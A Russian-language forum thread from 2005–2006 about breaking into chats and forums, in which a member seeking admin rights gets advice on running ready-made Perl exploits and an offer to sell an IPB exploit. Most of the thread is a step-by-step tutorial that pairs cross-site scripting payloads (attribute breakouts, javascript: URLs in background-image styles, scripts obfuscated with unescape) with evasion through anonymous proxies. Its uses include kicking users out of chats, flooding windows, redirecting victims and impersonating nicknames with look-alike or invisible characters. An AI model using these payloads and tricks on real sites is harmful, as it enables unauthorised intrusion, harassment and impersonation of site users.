Здравствуйте, гость ( Вход | Регистрация )



Гостевой доступ к форуму из Москвы: Телефоны: +7(495)7859696,7376201,7376233,7868796,7390241 Login: demo Password: demo
2 страниц V  1 2 >  
ОтветитьСоздать новую тему
> Взлом чатов, форумов, чисто для того штоб понять как ето делаецца :)
metallist
сообщение Dec 5 2005, 14:13
Сообщение #1


Пользователь
**

Группа: Новички
Сообщений: 86
Регистрация: 13-November 05
Пользователь №: 177
Заходит на форум с гостевика.



Интересно ведь как люди ето делают, правда?
Ктото из вас наверняка пробовал!
Делитесь опытом....


--------------------
ТИЖОЛЫЙ МИТАЛ
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Серж
сообщение Dec 5 2005, 14:37
Сообщение #2


Постоянный пользователь
***

Группа: Banned
Сообщений: 160
Регистрация: 31-August 05
Пользователь №: 115
Заходит на форум с гостевика или полного инета.



Нормально делается -на phpbb вообще ерунда ,на IPB немного посложнее и Perl нужен чтобы эксплоит запускать
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Мэтр
сообщение Dec 5 2005, 15:32
Сообщение #3


Гиперактивный пользователь
Group Icon

Группа: Advanced
Сообщений: 3 342
Регистрация: 23-June 05
Пользователь №: 9
Заходит на форум с полного инета.



Не знаешь как - спроси у Лехтара. biggrin.gif


--------------------
Мещане... Ррррр!
Изображение[
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Конан
сообщение Dec 5 2005, 15:44
Сообщение #4


-=White Panthers=-
******

Группа: Новички
Сообщений: 1 092
Регистрация: 27-June 05
Из: M-SIDE! ЮЗАО! Южное Бутово!
Пользователь №: 23
Заходит на форум с полного инета.



QUOTE(Серж @ Dec 5 2005, 15:37) *
Нормально делается -на phpbb вообще ерунда ,на IPB немного посложнее и Perl нужен чтобы эксплоит запускать


laugh.gif laugh.gif laugh.gif Ты подумал что ты сказал? biggrin.gif Многие эксплойты и для phpbb, и для ipb, и для exbb и т.д.
Требуют перл! =))))


P.S. metallist тебе какой форум надо взломать? Что именно сделать? (получение админских прав или что-то другое?)


--------------------
ПАДОНКИ ЭТО НАВСЕГДА
Изображение
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
metallist
сообщение Dec 5 2005, 16:30
Сообщение #5


Пользователь
**

Группа: Новички
Сообщений: 86
Регистрация: 13-November 05
Пользователь №: 177
Заходит на форум с гостевика.



а как узнать какой он, ну там ипб или пхпбб?иль ты думаешь што я те скажу его веб-адрес? smile.gif
да, админские права - это моя мечта....


--------------------
ТИЖОЛЫЙ МИТАЛ
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
оо0
сообщение Dec 5 2005, 19:29
Сообщение #6


Гость


Группа: Новички
Сообщений: 20
Регистрация: 22-October 05
Пользователь №: 150
Заходит на форум с полного инета.



а для ибп 2.1.1 есть эксплоиты ? cool.gif
вообще, мое имхо поиск и использование эксплоитов не дает никакой гарантии успеха, ибо все зависит от того насколько админ форума поставил новее версию или там исправления какие в движок форума...
или опять же от скорости и оперативности в использовании новых багов движков форумов.
(еще конешна есть темы про то что вообще используется на форуме, моды там какие и соответсвенно их баги)

вообщим эта я к таму говорю что если нужный тебе форум отстает по "обновлению", то его вполне можно "ломануть", а так....
...тут уже нужен профессианолизм cool.gif

Сообщение отредактировал оо0 - Dec 5 2005, 19:34


--------------------
Bring the violence
It's significant
To the life
Can you feel it?
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Stone of Jordan
сообщение Dec 5 2005, 20:14
Сообщение #7


Постоянный пользователь
***

Группа: Новички
Сообщений: 214
Регистрация: 3-December 05
Пользователь №: 209
Заходит на форум с полного инета.



не знаю насколько IPB 2.1.1 дыряв
знаю что уже 2.1.3 вышел и уже сравнительно давно


--------------------
Жги! Воруй! Насилуй! Вот это ЭМО-ФАШИЗМ!
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Конан
сообщение Dec 5 2005, 20:28
Сообщение #8


-=White Panthers=-
******

Группа: Новички
Сообщений: 1 092
Регистрация: 27-June 05
Из: M-SIDE! ЮЗАО! Южное Бутово!
Пользователь №: 23
Заходит на форум с полного инета.



securitylab.ru вам в помощь! =)


--------------------
ПАДОНКИ ЭТО НАВСЕГДА
Изображение
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
metallist
сообщение Dec 7 2005, 00:51
Сообщение #9


Пользователь
**

Группа: Новички
Сообщений: 86
Регистрация: 13-November 05
Пользователь №: 177
Заходит на форум с гостевика.



куда делись посты???
почему обязательно учить перл?
javascript и html наскоко я понял важнее знать в етом нелёхком деле


--------------------
ТИЖОЛЫЙ МИТАЛ
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Tassadar
сообщение Dec 7 2005, 02:05
Сообщение #10


Гиперактивный пользователь
Group Icon

Группа: Advanced
Сообщений: 2 524
Регистрация: 24-August 05
Из: Белые столбы
Пользователь №: 91
Заходит на форум с гостевика или полного инета.



тебе не надо учить перл чтоб заюзать готовые сплойты... За тебя уже постарались их авторы...

Ты качаешь интепритатор языка перл, ставишь его на свою тачку и через командную строку запускаешь... дальше надо тока ввести хост, и папку форума который будешь ломать... проблемы тут нету...

Яаскрипт это XSS кросс сайт скриптинг...т.е. ты на странице запускаешь скрипт, юзер его открывает и тебе на мыло например шлються его хеши и т.д.

HTML тут вообще не причем.... гыыыы


--------------------
ОуКС
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
metallist
сообщение Dec 7 2005, 02:14
Сообщение #11


Пользователь
**

Группа: Новички
Сообщений: 86
Регистрация: 13-November 05
Пользователь №: 177
Заходит на форум с гостевика.



умён не по годам я смрю smile.gif

thanks


--------------------
ТИЖОЛЫЙ МИТАЛ
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
iNcluDe
сообщение Jan 6 2006, 23:53
Сообщение #12


Новичок
*

Группа: Новички
Сообщений: 32
Регистрация: 6-January 06
Пользователь №: 247
Заходит на форум с гостевика.



По моему сейчас уязвимы все форумы, все зависит от времени, за какое время баг найдут =)

---
кстати кому продать сплоит для IPB 2.*.* 150$ и он ваш, сплоит написан на Perl

Сообщение отредактировал iNcluDe - Jan 6 2006, 23:53


--------------------
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Siras
сообщение Jan 7 2006, 08:10
Сообщение #13


Server Admin
Group Icon

Группа: Administrators
Сообщений: 1 801
Регистрация: 22-November 04
Из: Москва, Перово
Пользователь №: 11
Заходит на форум с полного инета.



вот это и есть единственный минус открытых сырцов
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
iNcluDe
сообщение Jan 7 2006, 12:57
Сообщение #14


Новичок
*

Группа: Новички
Сообщений: 32
Регистрация: 6-January 06
Пользователь №: 247
Заходит на форум с гостевика.



QUOTE(metallist @ Dec 7 2005, 01:51) *

куда делись посты???
почему обязательно учить перл?
javascript и html наскоко я понял важнее знать в етом нелёхком деле


если хочешь находить баги в таких форумах как IPN или phpBB, то учи PHP.
А перл надо знать, для того, что бы все это автоматизировать


--------------------
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
_SHLUX_
сообщение Jan 25 2006, 13:09
Сообщение #15


Постоянный пользователь
***

Группа: Новички
Сообщений: 149
Регистрация: 8-January 06
Пользователь №: 250
Заходит на форум с гостевика.



Общая теория

Здесь я хочу остановиться на азах взлома чатов. Заранее извеняюсь перед продвинутыми читателями - эти методы давно известны и стары как мир. Если Вы достаточно продвинуты, можете навести фокус на последующие главы.

Первым делом хочу заметить, что каждый чат по своему оригинален и уникален (за исключением растиражированных копий одной цгишки разумеется). Потому абсолютно универсальных способов взлома нет. Практически в каждом чате имеются особенности, которые нужно учитывать, и без учета которых, тупые шаблоны работать не будут.

Прежде всего, что я, собственно, понимаю под взломом HTML чата? Это не банальный флуд, и не атаки на IP чата. Под взломом будем понимать несанкционированное изменение HTML документа чата, либо доступ к скрытым его частям (например приватам), т.е. такое влияние на чат, которое не было предусмотрено и дозволено для пользователей. Это в равной мере относится не только к чатам, но и к форумам, гостевым книгам и т.д. (где все описанные методы тоже работают и даже лучше, поскольку эти формы защищены, как правило, хуже чем чаты).

Все описаное относится только к HTML чатам. Взлом Java чатов - отдельная и совершенно другая песня. Надеюсь Вы сможете отличить один тип чатов от другого smile.gif).

Итак, мы стоим на пороге HTML чата. Допустим, что мы хотим проверить его на "прочность". Что делать в первую очередь? В первую очередь мы подключаемся через анонимный прокси (надеюсь Вы знаете что это такое). Это нужно по двум причинам: во-первых мы обеспечиваем свою анонимность (что бы дядя админ не надавал по попке), а во-вторых, если админу все же не понравятся наши эксперименты и он закроет нам форточку в чат, то мы бы могли переключать свои прокси на другие IP адреса и снова заходить в чат. Правда тут имеется одно но: вход на некоторые чаты не разрешен через публичные прокси.

Далее мы должны выяснить, какое собственно оружие у нас есть, то есть какие атрибуты может задавать юзер. Как правило, во всех чатах можно вводить НИК юзера, а также ЦВЕТ юзера. Помимо этого, иногда можно задавать МЫЛО юзера, его домашнюю веб-страничку, пол, частоту обновления чата и др. На практике интерес представляют такие поля как цвет, ник, мыло и домашняя страничка юзера. Именно они вставляются непосредственно в тело документа, и потому именно через них можно атаковать чат. Следует отметить, что в некоторых чатах нужна регистрация, и часть атрибутов задается при регистрации, а часть - непосредственно перед входом в чат (или уже внутри чата). Чаты с регистрацией, как правило, более круто навороченные и лучше защищены.

> Обозначим для себя возможные пути взлома. Прежде всего наведем резкость на фрагмент кода формы, в котром задается цвет наших сообщений (кстати цвет может задаваться отдельно как для ника, так и для текста собщений - нужно проверять и тот и другой, поскольку они могут по разному анализироваться чатом). Почему нас интересует в первую очередь именно цвет? Потому, что цвет указывается внутри тегов, в их параметрах, в отличие от, например, ника, который чаще всего фигурирует в теле тегов. А для взлома чата нам нужно проникнуть именно во внутрь параметров тега, что бы можно было изменить его атрибуты или вставить свой скрипт (иногда конечно любые теги можно писать просто в тексте сообщений, так до недавнего времени было, например, в чате chat.rambler.ru , но этот вариант настолько туп, что таких чатов наверно уже не существует, и я его не рассматриваю).

Нас интересует в каком виде информация о цвете отсылается на сервер. Наименее защищен строковый тип, когда цвет передается в виде собственно своего названия. Например:

<select name=youcolor style="width: 70px">
<option value=blue>синий
<option value=red>красный
<option value=darkred>т-красный
<option value=green>зеленый
<option value=black>черный
<option value=lightblue>голубой
</select>

Такой чат, как правило, ломается в той или иной степени smile.gif. Более худший вариант, если цвет возвращается в виде численного кода:

<select name=youcolor style="width: 70px">
<option value=#0000FF>синий
<option value=#AF0000>красный
<option value=#FF0000>т-красный
<option value=#00FF00>зеленый
<option value=#000000>черный
<option value=#0000AF>голубой
</select>

В таком чате, возможно , стоят фильтры на все символы кроме цифр, знака # и букв A,B,C,D,E и F. Тогда о взломе через цвет придется забыть.

И наконец наихудший вариант, когда цвет передается просто в виде номера из списка допустимых цветов:

<select name=youcolor style="width: 70px">
<option value=1>синий
<option value=2>красный
<option value=3>т-красный
<option value=4>зеленый
<option value=5>черный
<option value=6>голубой
</select>

Как правило, такой чат через цвет взломать невозможно (а зачастую и вообще невозможно). Это самый защищеный вариант (кстати, рекомендую разработчикам чатов).

Далее нам нужно изменить HTML код так, что бы мы могли свободно отсылать на сервер произвольные значения атрибутов. Для этого сохраняем сайт у себя на диске и меняем форму входа в чат (или регистрации) седующим образом: меняем относительный адрес параметра action формы на полный адрес. Заменяем все теги типа hidden на тип text, а теги select меняем на input. Кроме того нужно снять ограничения на длинну вводимого значения(если оно есть). Например если исходная форма имела вид:

<form name="logon" method="POST" action="/cgi-bin/chat/chat.cgi">
<table cellspacing="0" cellpadding="0"><tr>
<td valign="middle"><small>Nickname:</small>
<input type="text" name="username" size="12" maxlength="12" ><br></td>
<td valign="middle"><small>&nbsp;Text Color:</small>
<select name="color">
<option selected value="black">black <option selected value="red">red <option selected value="blue">blue
</select>
</td><td valign="middle">
&nbsp;<small><input type=submit value="Join Chat"></small></td>
<input type=hidden name=message value="logged on.">
<input type=hidden name="logon" value="">
<input type=hidden name=to value="Room">
<input type=hidden name=frames value="yes">
</td></tr></table>
</form>

То после соответствующих замен получим:

<form name="logon" method="POST" action="http://typachat.ru/cgi-bin/chat/chat.cgi">
<table cellspacing="0" cellpadding="0"><tr>
<td valign="middle"><small>Nickname:</small>
<input type="text" name="username" ><br></td>
<td valign="middle"><small>&nbsp;Text Color:</small>
<input name="color">
<option selected value="black">black <option selected value="red">red <option selected value="blue">blue
</select>
</td><td valign="middle">
&nbsp;<small><input type=submit value="Join Chat"></small></td>
<input type=text name=message value="logged on.">
<input type=text name="logon" value="">
<input type=text name=to value="Room">
<input type=text name=frames value="yes">
</td></tr></table>
</form>

Заметим, что документ может создаваться динамически через функции типа document.write(), тогда, скорее всего, придется преобразовать его в статический вид. Кроме того, часто бывает так, что после сохранения HTML на диске, чат не хочет открываться. Это может быть вызвано тем, что сайт был сохранен не полностью, если он состоял из фреймов. В таком случае нужно более тщательно разобраться в структуре странички и сохранить все правильно. Другая причина может состоять в том, что сервер отслеживает поле referer заголовка http запроса, и засекает то, что мы заходим не с его странички. В таком случае нужно применять другие методы, на которых мы остановимся в главе "Взлом на уровне http".

> Теперь мы можем экспериментировать с чатом. Прежде всего нужно выяснить какие фильтры стоят на вводимые значения (сначала для цвета и ника). Нас интересуют в первую очередь следующие символы :

" ' ` = < > ; \ & % пробел


Вводим их в поле цвета и ника, заходим в чат (если нас туда пустят с такими атрибутами; если не пустят, придется перебирать символы поштучно), и смотрим какие символы были пропущены фильтром (написав в чат что-нить типа "hello", и посмортев в HTML тексте какие символы цвета и ника присутствуют). Некоторые чаты просто удаляют фильтруемые символы, некоторые заменяют их на другие символы, а некоторые преобразуют в закодированную форму типа &lt; или ′. Такие преобразованные символы нас не устраивают, поскольку HTML их не воспринимает (однако более подробно об этом смотрите в главе "Еще несколько взломов многострадального чата Т").

В результате у нас должен быть список пропускаемых символов для каждого атрибута регистрационной формы.

Далее перед нами стоит задача проникнуть внутрь любого тега для того, что бы изменить его праматры или вставить туда свой скрипт. Существует два принципиально разных способа это сделать: первый заключается в том, что бы нужный нам код передавался через атрибуты, которые уже находятся внутри тега (т.е. между угловыми скобками) - например через цвет или адрес мыла. Второй заключается в том, что бы нарушить структуру HTML кода таким образом, что бы нужный нам код оказался внутри тега. Как это сделать определяется из анализа конкретной структуры чатовского кода и набора нефильтруемых символов для наших атрибутов. Различные варианты взлома рассмотрим на последующих примерах. А пока я хотел бы остановиться на некоторых особенностях HTML, которые собственно и позволяют производить интересные "эффекты".


буду по тихоньку все выкладывать.
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
_SHLUX_
сообщение Jan 26 2006, 11:28
Сообщение #16


Постоянный пользователь
***

Группа: Новички
Сообщений: 149
Регистрация: 8-January 06
Пользователь №: 250
Заходит на форум с гостевика.



Особенности HTML

Здесь я не собираюсь читать лекцию по HTML для чайников. Я надеюсь что Вы знаете что такое тег и его параметры, знакомы с JavaScript и написали хоть одну веб-страничку в своей жизни на HTML (а не во FrontPage).

Самая большая беда (и вместе с тем и сила) HTML в том, что у него нет единого стандарта. То есть он как бы есть, но стандарты настолько разношерстные, и их так много переплетается в HTML, что никто досконально его не знает (а зачастую и не знает что он есть). Кроме того конкуренция среди браузеров и разношерстность сайтов ведет к тому, что браузеры стараются поддерживать как можно большее число стандартов и технологий. Причем отсутствие единых стандартов привело к тому, что веб мастера даже на одной страничке умудряются вперемешку писать в разных стилях :о(. Однако именно это позволяет хакерам взламывать HTML, и доставляет много головной боли разработчикам.

> Простой вопрос: какие есть разделители в HTML и JavaScript? Даже я не могу сразу и однозначно ответить на этот вопрос. Рассмотрим пример:

<font onclick= "alert()">Text</font>

Здесь все понятно и очевидно. Имеется тег <font> у которого есть обработчик события клика, написанный на JavaScript, текст которого заключен в двойные кавычки. То, что использутся именно JavaScript можно указать явно:

<font onclick="javascript:alert()">Text</font>

Ограничителями строки в этих примерах служат двойные кавычки. Однако можно обойтись и без них. Поскольку после onclick= может идти только статическая строка-обработчик, то HTML допускает опустить кавычки (это относится ко многим случаям, когда аргумент может быть только строкой-константой). Таким образом такая конструкция тоже работает:

<font onclick=alert()>Text</font>

а теперь вместо пустого сообщения вставим что нибудь осмысленное:

<font onclick=alert('Привет друзья!')>Text</font>

Открыв ссылку демонстрации видно, что данный пример не работает. Причина вот в чем: тело обработчика можно не заключать в кавычки, но в таком случае первый же пробел считается концом строки-обработчика (даже если сам пробел находится внутри кавычек). Поэтому браузер считает обработчиком лишь фрагмент alert('Привет, и обнаружив незакрытую кавычку выдает сообщение об ошибке. А почему браузер не реагирует на то, что пробел находится внутри кавычек? Я думаю причина в том, что здесь смешиваются два языка: HTML и JavaScript. Браузер "увидел" что после знака = нет кавычки и потому стал искать пробел - как конец обработчика. Внутренность обработчика же его на этот момент не интересовала, поскольку она относилась не к HTML, а к JavaScript. Таким образом открывающую кавычку он просто не заметил и принял пробел за конец значения параметра. Cледующие конструкции работают без ошибок:

<font onclick="alert('Привет друзья!')">Text</font> <br>
<font onclick=alert('Привет_друзья!')>Text</font><br>
<font onclick="alert('Привет друзья!')"onmouseover='alert()'>Text</font>
<font color=alert('Привет друзья!')>Text</font>

Отметим важную особенность: если значение параметра тега находится в кавычках, то пробел перед следующим параметром можно опустить (третья строчка примера). Четвертая строка примера тоже работает (в том смысле что браузер не ругается, но скрипт конечно не срабатывает), поскольку браузер не считает содержимое атрибута color JavaScript-ом, и следовательно не ругается на незакрытую кавычку, хотя как значение цвета берется только фрагмент alert('Привет (в качестве цвета в HTML может выступать произвольная строка, в этом случае браузер преобразует строку в некое числовое значение которое и считает цветом).

Есть ли другие символы - ограничители обработчика без кавычек (кроме пробела и символа > ) - вопрос открытый. Я таких не знаю, но допускаю что они могут быть.

Как уже видно из приведеных примеров, ограничителями строк могут быть двойные и одинарные кавычки. Это в равной мере относится как к HTML, так и к JavaScript, однако, оказывается есть, по крайней мере, еще один символ, который является ограничителем строк в HTML (но не в JavaScript !). Это символ обратного апострофа ` (обычно находится на одной клавише с буквой Ё ). Можно убедится на следующем примере:

<font onclick= `alert('Привет друзья!')`>Text</font>

Клянусь, что как минимум 90% веб-мастеров об этом не знают! Во всяком случае я еще не видел, что бы кто нибудь применял обратный апостроф. Этот символ - находка для хакера smile.gif).

Часто бывает так, что необходимо использовать внутри одних кавычек - другие. А это затруднительно, особенно если чат пропускает только один вид кавычек. Но оказывается JavaScript позволяет вставлять строковые константы внутрь других строковых констант, и при этом пользуясь одними и те ми же кавычками! Например:

'javascript:st='Фиг&nbsp;вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')'

В примере используются вложенные одинарные кавычки, однако интерпретатор ошибки не выдает. Отмечу, что содержимое внутренних кавычек не произвольно : там не должны содержаться пробелы, и в конце недопустимы некоторые символы, например ; или ).

Теперь поговорим о ссылках. В первую очередь нужно отметить такую деталь: развитие интернета происходило так, что в нем смешивались совершенно разные технологии. Доступ к информации может происходить посредством большого числа разных протоколов. Поэтому при указании полного пути документа (URL) допускается указывать любой из знакомых браузеру протоколов. Примечательно то, что javascript тоже отнесен к протоколам (хотя таковым не является, но видимо разработчики посчитали что будет слишком жирно выделять для скриптов отдельное понятие, и причислили их к протоколам). Поэтому везде , где в HTML документе можно указывать URL, можно вставить скрипт. И этот скрипт будет выполняться как только пользователь (или сам браузер) затребует данную ссылку. Например:

<a href=javascript:alert()>Text</a>

Интересно, что помимо операторов, в ссылке на JavaScript можно просто указывать строковое (или числовое) значение (однако обязательно после операторов, если они есть). При нажатии на такую ссылку браузер сначала выполнит впереди идущие операторы, а потом откроет новый документ и поместит туда значение последней указанной в ссылке строчки:

<a href=javascript:alert();'Hello!!'>Text</a>

Отмечу что теги таким образом вставить в новую страничку нельзя.
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
_SHLUX_
сообщение Jan 28 2006, 12:48
Сообщение #17


Постоянный пользователь
***

Группа: Новички
Сообщений: 149
Регистрация: 8-January 06
Пользователь №: 250
Заходит на форум с гостевика.



Взлом чата R

> Приведу пример одного из первых взломанных мною чатов. Этот чат был очень простым, и взламывался что называется с первого захода smile.gif).

Да и мало сейчас осталось чатов, в которых это проходит. Хотя я додумался до этих методов сам, но потом я их нашел и в хакерских журналах.

Входная форма этого чата в точности соответствовала форме, приведенной в главе "Общая теория". После преобразования и сохранения формы на диске, я проверил какие символы в атрибуте цвета проходят. Оказалось что проходят следующие символы (из тех что нас интересуют-см. гл "Общая теория"):

' ` = ; % пробел


Ну и конечно же проходили все цифры и буквы. Длинна строки-значения цвета не ограничивалась. Далее я посмотрел куда именно вставляется цвет во фрейме сообщений. Вот фрагмент этого фрейма:

<font color=Black><b>Путник</b>- Alpha, привет ))</font><br><font color= Red><b>Alpha</b>- Всемприветик !!</font><br>

Как видно, цвет вставляется без окружающих кавычек. Это меня устраивало. Я залогинился под ником Algol (ну или почти под таким ником wink.gif) и цветом red size=20. Мое сообщение выглядело следующим образом:

<font color=red size=20><b>Algol</b>- Hi</font><br>

Оно выводилось очень крупным шрифтом, что немного удивило население чата smile.gif).

Таким образом, несмотря на то, что непосредствено теги мы вставить не можем, но разрешение на ввод пробела в атрибуте цвета, позволило нам задавать несанкционированные параметры тега <font>. Однако мне этого было конечно мало. Менять размер шрифта конечно классно, но действительно что-то полезное можно сделать только используя скрипты. Вставить непосредственно тег script я не мог (вернее в то время я еще не знал как это сделать). Но я мог задать обработчик на какое-либо событие тега <font>. Вот какой цвет я задавал для того, что бы удалить какого нибудь придурка из чата: #A0A000 onmouseover=parent.frames[2].forms[0].ExitChat.click() size=30. И затем посылал ему длинное длинное сообщение в приват. Цвет сообщения я подобрал таким образом, что бы оно не отличалось от фонового цвета. А размер шрифта и длинна сообщения были такими огромными, что жертва наверняка хоть раз прошлась мышкой по сообщению, в результате чего мой обработчик onmouseover нажимал кнопочку "покинуть чат" вместо юзера smile.gif).

Однако, постепенно нашлись умники, которые раскусили прикол, и намеренно не возили курсор по окну чата. Мой скрипт срабатывал не всегда sad.gif(. Сначала я думал, что выхода нет. Поскольку я могу вставлять скрипт только как обработчик события, тогда если это событие не происходит, то и скрипт не срабатывает. Но, покопавшись в "анналах", я нашел решение (сейчас оно уже стало тривиальным и широко известным). Оказалось, что в атрибуте style можно указывать URL фонового рисунка для тега. А где можно указывать URL, там можно записать и скрипт. А главное то, что фоновый рисунок загружался сам , по окончании загрузки HTML документа! Если я хотел показать алерт участникам чата, я логинился со следующим цветом:

Red style=background-image:url(javascript:alert('приветик_всем_!!'))

Следует заметить важную деталь: поскольку структура большинства HTML чатов такова, что страница регулярно обновляется, то скрипт посланный таким образом выполняется не один раз, а много, до тех пор пока наше сообщение не исчезнет с экрана.

А вот как теперь выглядело значения атрибута цвета для выкидывания из чата:

Red style=background-image:url(javascript:parent.frames[2].forms[0].ExitChat.click())

Нужно помнить: скрипт посланный в привате, увидит не только ваш "собеседник", но и вы сами, поэтому надо знать как самому защититься от влияния скрипта. Это можно сделать двумя способами: либо поставить самого себя в игнор (и тогда мы не будем видеть собственные сообщения), либо в настройках браузера запретить отображение картинок. Тогда скрипт, срабатывающий через фоновый рисунок, работать не будет.

Теперь я хочу показать некотрые полезные скрипты, которые можно применять во взломанных чатах:

javascript:navigate('http://myserver.ru') - загружает в текущий фрейм (или страницу) сайт myserver.ru. Некоторые чаты, при виде фрагмента http:// считают это ссылкой, и автоматически вставляют тег <a>. Поскольку это разрушит наш скрипт, то этого нельзя допускать. Для этого нужно просто опустить префикс http: (который и так принимается по умолчанию). Тогда скрипт будет выглядеть: javascript:navigate('//myserver.ru'). Два впереди идущих слеша - обязательны.

javascript:parent.frames[2].document.location= 'http://myserver.ru' - загружает в один из фреймов сайт myserver.ru.

javascript:for(;;)open() - открывает бесконечное число окон (если вовремя не сориентироваться, то приводит к зависанию машины и последующей перезагрузке).

javascript:document.write('<script>alert()</script>') - заменяет текущий фрейм скриптом, который затем выполняется. Примечание: если чат не пропускает символы < и > (а это подавляющее число чатов) то такой скрипт мы вставить не сможем. Но есть выход. Это применение функции unescape(), которая преобразует ASCII-код символа в символ. Заменим угловые скобки на функцию unescape() с соответсвующими кодами, тогда наш скрипт примет вид: javascript:document.write(unescape('%3C')+'script'+unescape('%3E')+'alert()'+unescape('%3C')+'/script'+unescape('%3E')) См. также на эту тему главу "Еще несколько взломов многострадального чата T"

javascript:this.insertBefore(e=document.createElement('IMG'));e.src='demo.jpg' - вставляет картинку после текста. Замечу, что в IE 5.x вставить можно любой тег кроме FRAME, IFRAME и SELECT. Но в IE 4.x функция createElement() допускает вставку только тегов IMG, AREA и OPTION . Информации насчет Netscape не имею, можете поэкспериментировать сами.

'javascript:st='Фиг&nbsp;вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')' - блокирует выпадающее меню страницы, и следовательно делает недоступным просмотр HTML содержиме фрейма. Благодаря этому можно скрывать свои махинации с телом чата smile.gif).

> Иногда бывает полезно логинится под чужим ником. Чаты с системой регистрации юзеров не позволят вам это сделать, если вы не знаете пароля (а вы его скорее всего и не знаете). Банальный выход : регистрация с ником в котором буква латинского алфавита заменятеся на очень похожую букву русской раскладки. Например логинимся под ником admin где латинская буква а заменена на русскую а. Метод примитивный, но работает )). Бывают и более тяжелые случаи. Например в некоторых чатах запрещено использование в одном нике символов из разных раскладок. Тогда пытливому уму ничего не остается делать, как обратится к дяде Гейтсу за помощью. И вот она доброта людская, Microsoft не забыл про грешных юзеров и подарил нам символ &shy;(он же ­ он же %AD), который сама микрософта назвала "Soft hyphen" ("Короткий дефис"). Он действительно в Word выглядит как дефис, и в экселе тоже, и даже в блокноте, но только не в IE! Для майкрософтовского эскплорера символа &shy; просто не существует, то есть он как бы есть, но для него забыли сделать графическое представление. Он просто напросто не прорисовывается в HTML страничке! Смотрите сами . Таким образом, добавив короткий дефис к любому нику и зарегестрировавшись под ним, мы входим в чат с ником, который будет выглядеть на HTML странице точно так же как и ник без дефиса. А можно сделать еще круче - залогиниться под ником, сотоящим только из символов короткого дефиса. Тогда ваш ник вообще не будет отображаться в чате, абсолютно пустое место)).

(Примечание: Повозившись еше немного с символом короткого дефиса я все же обнаружил случаи, когда он появляется: Он появляется только как символ переноса. То есть если внутри слова стоит короткий дефис и если это слово стоит в конце строки, то часть слова после дефиса может быть перенесена на следующую строку, а сам дефис становится видимым! Таким образом, возможно невидимость дефиса - преднамеренная фича майкрософта (что впрочем не уменьшает его полезность при взломах smile.gif). Правда непонятно почему же он все-таки остается всегда видимым в остальных приложениях?)

Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
iNcluDe
сообщение Jan 28 2006, 14:03
Сообщение #18


Новичок
*

Группа: Новички
Сообщений: 32
Регистрация: 6-January 06
Пользователь №: 247
Заходит на форум с гостевика.



Это уже не актуально.


--------------------
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
_SHLUX_
сообщение Jan 30 2006, 18:44
Сообщение #19


Постоянный пользователь
***

Группа: Новички
Сообщений: 149
Регистрация: 8-January 06
Пользователь №: 250
Заходит на форум с гостевика.



Вариации на тему

> В предыдущей главе мы рассмотрели случай, когда цвет вставлялся в текст странички без ограничивающих кавычек. А что же делать если кавычки все же есть? Например текст в чате выглядит следующим образом:

<font color='Black'><b>Путник</b>- Alpha, привет ))</font><br><font color= 'Red'><b>Alpha</b>- Всем приветик! !!</font><br>

Как видим, цвет вставляется в обрамляющих кавычках. Эта проблема легко решается, если чат не отфильтровывает символ ' . Если это так, то мы можем просто закрыть открытую кавычку, и затем писать наш скрипт. Например, задав значение цвета как red' size=20 ' мы опять получим эффект с большим шрифтом. Обратим внимание на пробел и апостроф в конце. Они необходимы, для того, что бы закрывающая кавычка, которую вставит сам чат, не разрушила наши атрибуты. В результате наше сообщение будет иметь вид:

<font color='red' size=20 ''><b>Algol</b>- Hi</font><br>

Если же чат не пропускает символ кавычки, которая обрамляет значение параметра, то взломать чат через данный параметр не удастся sad.gif(. Хотя и здесь возможны некоторые штучки: см. конец данной главы.

Этот метод очень часто (почти всегда) срабатывает для задаваемого адреса электронной почты (в параметрах чатланина или в поле обратного адреса в форумах и гостевых книгах). Как правило ссылка на мыло идет в форумах следующим образом: <a href="mailto:mylo@myla.net">Федя Пупкин</a> (фрагмент mailto: шлюз вставляет сам). Тогда задав в качестве мыла значение " style=background-image:url(javascript:аlert('Ну_нету_у_меня_мыла!')) ", мы посылаем алерт любому посетителю форума smile.gif) (заметим, что на адрес мыла, как правило, фильтры вводимых символов не устанавливаются). Правда некоторые форумы и чаты как бы проверяют мыло, но эта проверка сводится к требованию присутствия символа @ . Если это так, то порадуем создателей форума и нарисуем им собачку следующим образом: mylo@myla.net" style=background-image:url(javascript:аlert('Ну_нету_у_меня_мыла!')) ".

В некоторых чатах допускается вставка собственных картинок, заданием адреса картинки. Как мы уже знаем, там где есть URL, там можно вставить и скрипт. Даже не буду это разжевывать. Все и так ясно.

